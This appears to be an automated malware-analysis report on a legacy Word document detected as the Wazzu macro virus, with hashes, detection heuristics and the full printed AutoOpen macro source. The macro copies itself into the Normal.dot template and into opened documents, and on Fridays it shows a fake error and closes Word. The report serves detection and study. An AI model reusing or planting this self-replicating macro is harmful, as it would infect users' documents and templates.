Wazzu — Office (OLE) malware analysis

Static analysis result for SHA-256 f17d4ee7de92d590…

MALICIOUS

Office (OLE)

27.5 KB Created: 1998-11-14 23:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1a24546043dce383f6911b2aa9f4baf7 SHA-1: 43cace88213e3a92828a16085cc6c39ead605145 SHA-256: f17d4ee7de92d590c94dd6e6dc103f97e964da23592775e023eed2891eca4e8f
220 Risk Score

Malware Insights

Wazzu · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits high-confidence indicators of legacy WordBasic macro virus activity, specifically the 'Wazzu' marker and the presence of an AutoOpen macro. The AutoOpen macro is designed to copy itself and potentially execute further malicious actions, as indicated by the ClamAV detection of 'Doc.Trojan.Wazzu-44'. The macro's logic suggests an attempt to establish persistence or spread by copying itself to global macros.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-44 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-44
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1111 bytes
SHA-256: 8c5a592ae7cc7dd90c7409867793b96665a9a1c50c3f00db048b7a9427e3065b
Detection
ClamAV: Doc.Trojan.Wazzu-44
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"

Public Sub MAIN()
Dim fM$
Dim MF$
On Error GoTo -1: On Error GoTo eC

WordBasic.FileSummaryInfo Update:=1
Dim fff As Object: Set fff = WordBasic.DialogRecord.FileSummaryInfo(False)
WordBasic.CurValues.FileSummaryInfo fff

fM$ = fff.Directory + "\" + fff.FileName + ":autoOpen"
MF$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If MF$ = "NORMAL.DOT" Then
WordBasic.MacroCopy "Global:autoOpen", fM$, 1
WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy fM$, "Global:autoOpen", 1
End If

Ppp
GoTo adios

eC:
adios:

On Error GoTo -1: On Error GoTo 0

End Sub

Private Sub Ppp()
If WordBasic.WeekDay(WordBasic.Now()) = 6 Then
WordBasic.MsgBox "Allgemeiner Fehler Nr. 32768", "Fehler!"
WordBasic.SendKeys "%" + "{F4}"
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.